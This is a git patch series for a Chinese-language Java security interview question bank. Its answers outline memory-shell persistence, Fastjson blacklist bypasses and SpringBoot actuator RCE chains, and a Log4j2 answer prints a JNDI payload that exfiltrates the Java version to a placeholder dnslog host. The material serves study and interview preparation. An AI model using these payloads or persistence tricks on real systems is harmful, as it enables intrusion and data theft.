+有一种思路是再`destroy`方法中加入再注册内存马的代码,但并不是所有删除方式都会触发`destroy`方法 + +所以另外的思路是跑一个不死线程,循环检测该内存马是否存在,以及注册的功能 + + + +- 内存马如何持久化(★★★) + +内存马持久化这个问题必须要往本地写文件 + +一般来说可以往Tomcat里写字节码或者直接改写依赖的Jar,再`doFilter`等位置插入恶意字节码 + +4ra1n师傅提到的修改Tomcat的Lib也是一种手段 + + + +- Java Agent内存马的查杀(★★★) + +网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中所有的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 \ No newline at end of file From a85554ac8b3a90b847629af493d74f74c331d2f5 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 16:18:47 +0800 Subject: [PATCH 07/17] update --- README.md | 4 ++-- log4j2/README.md | 9 +++++++++ memshell/README.md | 10 +++++++++- 3 files changed, 20 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 4e164c3..f811276 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,6 @@ [Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) -[Log4j2组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) +[Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) -[内存马专题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) +[内存马专题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) diff --git a/log4j2/README.md b/log4j2/README.md index c16256b..0f34666 100644 --- a/log4j2/README.md +++ b/log4j2/README.md @@ -43,3 +43,12 @@ 在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息 这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}` + + + +- 不停止运行程序如何修复Log4j2漏洞(★★★) + +利用JavaAgent改JVM中的字节码,可以直接删了`JndiLookup`的功能 + +有公众号提出类似`Shiro`改`Key`的思路,利用反射把`JndiLookup`删了也是一种办法 + diff --git a/memshell/README.md b/memshell/README.md index 869a035..d5cdff3 100644 --- a/memshell/README.md +++ b/memshell/README.md @@ -48,4 +48,12 @@ Spring内存马有:Controller型,Interceptor型 - Java Agent内存马的查杀(★★★) -网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中所有的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 \ No newline at end of file +网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中所有的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 + + + +- 如果有一个陌生的框架你如何挖内存马(★★★) + +核心是找到类似`Tomcat`和`Spring`中类似`Context`的对象,然后尝试从其中获取`request`和`response`对象以实现内存马的功能。可以从常见的类名称入手:Requst、ServletRequest、RequstGroup、RequestInfo、RequestGroupInfo等等。可以参考c0ny1师傅的`java-object-searcher`项目,半自动搜索`request`对象 + + From 3e3fd621d83184d75f246af337f1f1f869933519 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 16:43:44 +0800 Subject: [PATCH 08/17] fastjson --- README.md | 2 ++ fastjson/README.md | 41 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 43 insertions(+) create mode 100644 fastjson/README.md diff --git a/README.md b/README.md index f811276..3f4f588 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,8 @@ [Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) +[Fastjson组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson) + [Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) [内存马专题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) diff --git a/fastjson/README.md b/fastjson/README.md new file mode 100644 index 0000000..4419969 --- /dev/null +++ b/fastjson/README.md @@ -0,0 +1,41 @@ +# Fastjson + +- 使用`JSON.parse()`和`JSON.parseObject()`的不同(★) + +前者会在JSON字符串中解析字符串获取`@type`指定的类,后者则会直接使用参数中的`class`,并且对应类中所有`getter`和`setter`都会被调用 + + + +- 什么情况下反序列化过程会反射调用`getter`(★) + +符合`getter`规范的情况且不存在`setter` + + + +- 如果不存在`setter`和`getter`方法可以反射设置值吗(★) + +需要服务端开启`Feature.SupportNonPublicFiel`参数,实战无用 + + + +- Fastjson在反序列化`byte[]`类型的属性时会做什么事情(★) + +将会在反序列化时候进行`base64`编码 + + + +- 谈谈常见的几种Payload(★★★) + +首先是最常见的`JdbcRowSetImpl`利用`JDNI`注入方式触发,需要出网 + +利用`TemplatesImpl`类比较鸡肋,需要服务端开启特殊参数 + +不出网的利用方式有一种`BasicDataSource`配合`BCEL`可实现不出网`RCE` + +另外某个版本之后支持`$ref`的功能,也可以构造一些Payload + + + +- 谈谈1.2.47版本之前的绕过(★★★) + +首先是利用解析问题可以加括号或大写L绕过低版本,高版本利用了哈希黑名单,之所以要哈希是因为防止黑客进行分析。但黑名单还是被破解了,有师傅找到可以绕过了类。在1.2.47版本中利用缓存绕过 \ No newline at end of file From 658134ea2f1316d1e14afbe68c05d16d62ce2f91 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 00:09:17 +0800 Subject: [PATCH 09/17] script --- auto.py | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 auto.py diff --git a/auto.py b/auto.py new file mode 100644 index 0000000..a34db1b --- /dev/null +++ b/auto.py @@ -0,0 +1,22 @@ +# 自动更新数量统计 +index = open("README.md", "r+", encoding="utf-8"); +lines = index.readlines() + +for i in range (0,len(lines)): + if lines[i].startswith("["): + line = lines[i] + suffix = line.split("tree/master/")[1] + suffix = suffix.split(")")[0] + temp = open(suffix + "/" + "README.md", "r", encoding="utf-8") + temp_lines = temp.readlines() + total = 0 + for q in temp_lines: + if q.startswith("-"): + total = total + 1 + p = line.split("-")[0] + s = line.split("个]")[1] + lines[i] = p + "- " + str(total) + "个]" + s + +index.seek(0) +index.truncate() +index.writelines(lines) \ No newline at end of file From 8c7acb2bac84a0ee94fc0ed20d6c7a0cac5c47ef Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 00:42:07 +0800 Subject: [PATCH 10/17] java --- README.md | 2 +- java/README.md | 30 ++++++++++++++++++++++++++++++ 2 files changed, 31 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 3f4f588..28539c3 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ ## 分类 -[Java本身的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) +[Java本身的安全问题 - 15个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) [Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) diff --git a/java/README.md b/java/README.md index 613b9bb..3a1bd6f 100644 --- a/java/README.md +++ b/java/README.md @@ -193,3 +193,33 @@ LinkedHashSet.readObject() - 了解缩小反序列化Payload的手段吗(★★★) 首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载 + + + +- 谈谈实战中命令执行有哪些回显的办法(★★★★) + +首先想到的办法是`dnslog`等技术进行外带,但必须出网,有限制 + +然后类似内存马的思路,针对指定中间件找`response`对象写入执行结果 + +尝试写文件,往`web`目录下写,例如`xx.html`可以访问到即可 + +将命令执行结果抛出异常,然后用`URLClassLoader`加载,达到报错回显 + +Y4er师傅提到的自定义类加载器配合RMI的一种方式 + + + +- 有没有了解过针对`linux`的通杀的回显方式(★★★★) + +获取本次`http`请求用到`socket`的文件描述符,然后往文件描述符里写命令执行的结果 + +但鸡肋的地方在于需要确定源端口,才可以使用命令查到对应的文件描述符,存在反代可能有问题 + + + +- 是否存在针对`windows`的通杀的回显方式(★★★★) + +原理类似`linux`的通杀回显,在`windows`中`nio/bio`中有类似于`linux`文件描述符这样的句柄文件 + +遍历`fd`反射创建对应的文件描述符,利用`sun.nio.ch.Net#remoteAddress`确认文件描述符有效性,然后往里面写数据实现回显 \ No newline at end of file From 3c98d1d2deadbccb11b86d67ddf7171b1768c90f Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 01:34:18 +0800 Subject: [PATCH 11/17] springboot --- README.md | 17 ++++++++ spring/README.md | 110 +++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 127 insertions(+) create mode 100644 spring/README.md diff --git a/README.md b/README.md index 28539c3..b800d25 100644 --- a/README.md +++ b/README.md @@ -26,4 +26,21 @@ [Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) +[Spring框架相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring) + [内存马专题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) + +## 参考 + +https://github.com/LandGrey/SpringBootVulExploit + +https://github.com/feihong-cs/Java-Rce-Echo/ + +https://threedr3am.github.io/ + +https://xz.aliyun.com/t/7740 + +https://xz.aliyun.com/t/7307 + + + diff --git a/spring/README.md b/spring/README.md new file mode 100644 index 0000000..e68682f --- /dev/null +++ b/spring/README.md @@ -0,0 +1,110 @@ +## Spring + +- 谈谈Spring Whitelabel SPEL RCE(★★★) + +Spring处理参数值出错时会将参数中`${}`中的内容当作`SPEL`解析实现,造成`RCE`漏洞 + + + +- 谈谈SpringCloud SnameYAML RCE(★★★) + +该漏洞的利用条件是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置 + +在`VPS`上开启`HTTP Server`并放入基于`ScriptEngineManager`和`URLClassLoader`的`yml`,制作特殊的JAR并指定 + +通过`/env`设置`spring.cloud.bootstrap.location`属性再刷新配置即可利用`SnakeYAML`的反序列化漏洞实现`RCE` + + + +- 谈谈SpringCloud Eureka RCE(★★★) + +该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置 + +首先搭建恶意的`XStream Server`其中包含了`Payload` + +通过`/env`设置`eureka.client.serviceUrl.defaultZone`属性再刷新配置即可访问远程`XStream Payload`触发反序列化达到`RCE` + + + +- 谈谈SpringBoot Jolokia Logback JNDI RCE(★★★) + +如果目标可出网且存在`/jolokia`或`/actuator/jolokia`接口 + +通过`/jolokia/list`查看是否存在`ch.qos.logback.classic.jmx.JMXConfigurator`和`reloadByURL`关键词 + +搭建一个`HTTP Server`保存`XML`配置文件,再启动恶意的`JNDI Server`,请求指定的`URL`即可触发`JNDI`注入漏洞达到`RCE` + + + +- 谈谈SpringBoot Jolokia Realm JNDI RCE(★★★) + +如果目标可出网且存在`/jolokia`或`/actuator/jolokia`接口 + +启动恶意的`JNDI Server`后调用`createJNDIRealm`创建`JNDIRealm`,然后写入`JNDI`相关的配置文件,重启后触发`JNDI`注入漏洞达到`RCE` + + + +- 谈谈SpringBoot Restart H2 Database Query RCE(★★★) + +漏洞利用条件是可以访问`/env`设置属性,可以访问`/restart`重启应用 + +设置`spring.datasource.hikari.connection-test-query`属性为创建自定义函数的`SQL`语句,再数据库连接之前会执行该`SQL`语句 + +通过重启应用,建立新的数据库连接,触发包含命令执行的自定义函数,达到`RCE` + + + +- 谈谈SpringBoot H2 Database Console JNDI RCE(★★★) + +目标可出网且存在`spring.h2.console.enabled=true`属性时可以利用 + +首先通过`/h2-console`中记录下`JSESSIONID`值,然后启动恶意的`JNDI Server`,构造对应域名和`JSESSIONID`的特殊`POST`请求触发`JNDI`注入漏洞达到`RCE` + + + +- 谈谈SpringBoot Mysql JDBC RCE(★★★) + +该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置,不同的是需要存在`mysql-connector-java`依赖 + +通过`/env`得到`mysql`版本等信息,测试是否存在常见的`Gadget`依赖,访问`spring.datasource.url`设置指定的`MySQL JDBC URL`地址。刷新配置后当网站进行数据库操作时,会使用恶意的`MySQL JDBC URL`建立连接 + +恶意的`MySQL Server`会返回序列化`Payload`数据,利用本地的`Gadget`反序列化造成`RCE` + + + +- 谈谈SpringBoot Restart logging.config Logback JNDI RCE(★★★) + +该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 + +搭建一个`HTTP Server`保存`XML`配置文件,再启动恶意的`JNDI Server` + +通过`/env`接口设置`logging.config`属性为恶意的`XML`配置文件,重启触发`JNDI`注入漏洞达到`RCE` + + + +- 谈谈SpringBoot Restart logging.config Groovy RCE(★★★) + +该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 + +启动恶意的`JNDI Server`并通过`/env`接口设置`logging.config`属性为恶意的`Groovy`文件在重启后生效 + +在`logback-classic`组件的`ch.qos.logback.classic.util.ContextInitializer`中会判断`url`是否以`groovy`结尾,如果是则最终会执行文件内容中的`groovy`代码达到`RCE` + + + + +- 谈谈SpringBoot Restart spring.main.sources Groovy RCE(★★★) + +类似SpringBoot Restart logging.config Groovy RCE + +组件中的`org.springframework.boot.BeanDefinitionLoader`判断`url`是否以`groovy`结尾,如果是则最终会执行文件内容中的`groovy`代码,造成`RCE`漏洞 + + + +- 谈谈SpringBoot Restart spring.datasource.data H2 Database RCE(★★★) + +该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 + +开一个`HTTP Server`保存恶意SQL语句,这是一个执行命令的函数,设置属性`spring.datasource.data`为该地址,重启后设置生效 + +组件中的`org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer`使用`runScripts`方法执行请求`URL`内容中的`SQL`代码,造成`RCE`漏洞 \ No newline at end of file From e2bf82266848cdedf24542aa7d4849dd714b24ef Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 01:43:03 +0800 Subject: [PATCH 12/17] ref --- README.md | 4 ++++ memshell/README.md | 6 ++++++ 2 files changed, 10 insertions(+) diff --git a/README.md b/README.md index b800d25..527d3eb 100644 --- a/README.md +++ b/README.md @@ -42,5 +42,9 @@ https://xz.aliyun.com/t/7740 https://xz.aliyun.com/t/7307 +https://www.cnpanda.net/ + +https://gv7.me/ + diff --git a/memshell/README.md b/memshell/README.md index d5cdff3..9faac8e 100644 --- a/memshell/README.md +++ b/memshell/README.md @@ -46,6 +46,12 @@ Spring内存马有:Controller型,Interceptor型 +- 内存马持久化写字节码方式除了`@Filter`标签还有什么办法 + +使用`ServletContainerInitializer`用于在容器启动阶段注册三大组件,取代`web.xml`配置。其中`onStartup`方法会在`Tomcat`中间件重启加载当前`webapp`会优先执行这个方法。通过改方法,我们可以注册一个`webshell`的`filter` + + + - Java Agent内存马的查杀(★★★) 网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中所有的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 From 966fb3ad8da5c416656bd639f77a0ef2f171550c Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 01:43:31 +0800 Subject: [PATCH 13/17] num --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 527d3eb..60508d9 100644 --- a/README.md +++ b/README.md @@ -28,7 +28,7 @@ [Spring框架相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring) -[内存马专题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) +[内存马专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) ## 参考 From ded0a878fd5c14f60cb0a35a2f6e69d4011236c9 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 08:23:40 +0800 Subject: [PATCH 14/17] add --- fastjson/README.md | 22 ++++++++++++++++++++-- java/README.md | 2 +- shiro/README.md | 6 ++++++ 3 files changed, 27 insertions(+), 3 deletions(-) diff --git a/fastjson/README.md b/fastjson/README.md index 4419969..385d9ac 100644 --- a/fastjson/README.md +++ b/fastjson/README.md @@ -30,12 +30,30 @@ 利用`TemplatesImpl`类比较鸡肋,需要服务端开启特殊参数 -不出网的利用方式有一种`BasicDataSource`配合`BCEL`可实现不出网`RCE` +不出网的利用方式有一种`BasicDataSource`配合`BCEL`可实现`RCE` 另外某个版本之后支持`$ref`的功能,也可以构造一些Payload +- 是否存在不出网的Fastjson利用方式(★★★) + +第一种是`TemplatesImpl`类加载字节码做到不出网利用,但需要开启特殊参数实战鸡肋 + +第二种方式是服务端存在在`tomcat-dbcp.jar`情况下,使用`BasicDataSource`配合`BCEL`可实现不出网`RCE` + + + - 谈谈1.2.47版本之前的绕过(★★★) -首先是利用解析问题可以加括号或大写L绕过低版本,高版本利用了哈希黑名单,之所以要哈希是因为防止黑客进行分析。但黑名单还是被破解了,有师傅找到可以绕过了类。在1.2.47版本中利用缓存绕过 \ No newline at end of file +首先是利用解析问题可以加括号或大写L绕过低版本,高版本利用了哈希黑名单,之所以要哈希是因为防止黑客进行分析。但黑名单还是被破解了,有师傅找到可以绕过了类。在1.2.47版本中利用缓存绕过 + + + +- Fastjson应该如何探测(★★) + +使用`dnslog`做检测是最常见的方式,利用`java.net.Inet[4][6]Address`或`java.net.InetSocketAddress`或`java.net.URL`类,之所以使用这三个因为不在黑名单中,可以直接检测 + +除了这种方式,还可以自行实现虚假的`JNDI Server`作为反连平台,用`JdbcRowSetImpl`这样的`Payload`来触发 + +如果不能出网,可以结合不出网的利用方式和中间件的回显手段,执行无害命令检测,或利用报错回显 \ No newline at end of file diff --git a/java/README.md b/java/README.md index 3a1bd6f..12cc658 100644 --- a/java/README.md +++ b/java/README.md @@ -2,7 +2,7 @@ - Java反射做了什么事情(★) -反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了静态的效果 +反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了动态的效果 diff --git a/shiro/README.md b/shiro/README.md index dc25e19..a870f1b 100644 --- a/shiro/README.md +++ b/shiro/README.md @@ -1,5 +1,11 @@ ## Shiro +- 怎样检测目标框架使用了Shiro(★) + +直接看请求响应中是否有`rememberMe=deleteMe`这样的`Cookie` + + + - Shiro反序列化怎么检测key(★★★) 实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密,然后加入到`Cookie`的`rememberMe`字段中发送,如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key From 54385226e07b682731d834803c38c6d498a33c07 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 08:24:00 +0800 Subject: [PATCH 15/17] num --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 60508d9..d62b642 100644 --- a/README.md +++ b/README.md @@ -20,9 +20,9 @@ [Java本身的安全问题 - 15个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) -[Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) +[Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) -[Fastjson组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson) +[Fastjson组件相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson) [Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) From 5781fc0973e8fdb205966069962befad3d76a6ea Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 08:26:23 +0800 Subject: [PATCH 16/17] total --- README.md | 4 +++- auto.py | 5 ++++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d62b642..de2a70d 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ 项目目标:完全掌握本项目后进轻松大厂 -计划定期更新,从基础到各种实战问题,打造齐全的Java安全面试题库 +计划定期更新,从基础到各种实战问题,打造齐全的Java安全面试题库(包含问题和详细的答案) 最低难度★ 最高难度★★★★★ @@ -18,6 +18,8 @@ ## 分类 +当前问题总数:58 + [Java本身的安全问题 - 15个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) [Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) diff --git a/auto.py b/auto.py index a34db1b..1a88b0e 100644 --- a/auto.py +++ b/auto.py @@ -2,6 +2,7 @@ index = open("README.md", "r+", encoding="utf-8"); lines = index.readlines() +all = 0 for i in range (0,len(lines)): if lines[i].startswith("["): line = lines[i] @@ -15,8 +16,10 @@ total = total + 1 p = line.split("-")[0] s = line.split("个]")[1] + all += total lines[i] = p + "- " + str(total) + "个]" + s index.seek(0) index.truncate() -index.writelines(lines) \ No newline at end of file +index.writelines(lines) +print(all) \ No newline at end of file From 15cd0333f13147b00798796ffbe1fd6eca194f97 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Tue, 15 Feb 2022 08:39:47 +0800 Subject: [PATCH 17/17] script --- auto.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/auto.py b/auto.py index 1a88b0e..fc5171a 100644 --- a/auto.py +++ b/auto.py @@ -3,6 +3,7 @@ lines = index.readlines() all = 0 +all_index = 0 for i in range (0,len(lines)): if lines[i].startswith("["): line = lines[i] @@ -18,8 +19,12 @@ s = line.split("个]")[1] all += total lines[i] = p + "- " + str(total) + "个]" + s + print(suffix + ":" + str(total)) + if lines[i].startswith("当前问题总数"): + all_index = i +print("total:" + str(all)) +lines[all_index] = "当前问题总数:"+ str(all) + "\n" index.seek(0) index.truncate() index.writelines(lines) -print(all) \ No newline at end of file